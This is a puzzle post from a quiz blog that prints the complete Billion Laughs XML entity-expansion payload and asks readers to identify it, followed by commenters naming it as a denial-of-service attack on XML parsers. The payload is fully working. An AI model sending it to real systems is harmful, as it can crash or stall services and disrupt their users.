Boiledbeans

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September 8, 2012

ROFL?

srikanth @ 11:59 pm, GMT +0000 ( 1347148763 ) Play
2012-10-08

This is not a boiledbeans bug. But what is it?

<?xml version="1.0"?>
<!DOCTYPE lolz [
 <!ENTITY lol "lol">
 <!ENTITY lol1 "&lol;&lol;&lol;&lol;&lol;&lol;&lol;&lol;&lol;&lol;">
 <!ENTITY lol2 "&lol1;&lol1;&lol1;&lol1;&lol1;&lol1;&lol1;&lol1;&lol1;&lol1;">
 <!ENTITY lol3 "&lol2;&lol2;&lol2;&lol2;&lol2;&lol2;&lol2;&lol2;&lol2;&lol2;">
 <!ENTITY lol4 "&lol3;&lol3;&lol3;&lol3;&lol3;&lol3;&lol3;&lol3;&lol3;&lol3;">
 <!ENTITY lol5 "&lol4;&lol4;&lol4;&lol4;&lol4;&lol4;&lol4;&lol4;&lol4;&lol4;">
 <!ENTITY lol6 "&lol5;&lol5;&lol5;&lol5;&lol5;&lol5;&lol5;&lol5;&lol5;&lol5;">
 <!ENTITY lol7 "&lol6;&lol6;&lol6;&lol6;&lol6;&lol6;&lol6;&lol6;&lol6;&lol6;">
 <!ENTITY lol8 "&lol7;&lol7;&lol7;&lol7;&lol7;&lol7;&lol7;&lol7;&lol7;&lol7;">
 <!ENTITY lol9 "&lol8;&lol8;&lol8;&lol8;&lol8;&lol8;&lol8;&lol8;&lol8;&lol8;">
]>
<lolz>&lol9;</lolz>

Cracked by: vinayaknp , Sumanth Patlolla , Jayaprakash B R , mankuTimma , Rogi , Manish Achuth , KK , Prabhu , Ananth and mayank sharma

Answer:
The Billion Laughs XML – expands to a billion LOLs when parsed, effectively nuking any badly-written parser.

Points assigned by AutoRaja. Review by lazy humans pending.

11 Responses to “ROFL?”

  1. vinayaknp

    Billion laughs. A type of Denial of Service Attack


  2. Sumanth Patlolla
    27
    8
    7

    Billion laughs attack


  3. manas
    1

    LOL code?


  4. Billion laughs – DDOS


  5. mankuTimma
    1

    billion laughs attack ,a type of denial-of-service (DoS) attack


  6. Rogi
    48
    10
    5

    That’s just mean.
    If I’m counting right, that’d be a billion “lol”s


  7. Manish Achuth
    16
    9
    8

    billion laughs attack.


  8. KK
    1
    4
    5

    Billion laugh


  9. Prabhu

    Billion laughs XML DoS bomb.
    Aimed at XML parsers. As the first real world was with the string ‘lol’ , better known as the billion laughs.


  10. Ananth
    4
    5
    9

    Billion laughs DoS attack


  11. this is billion laughs XML bug


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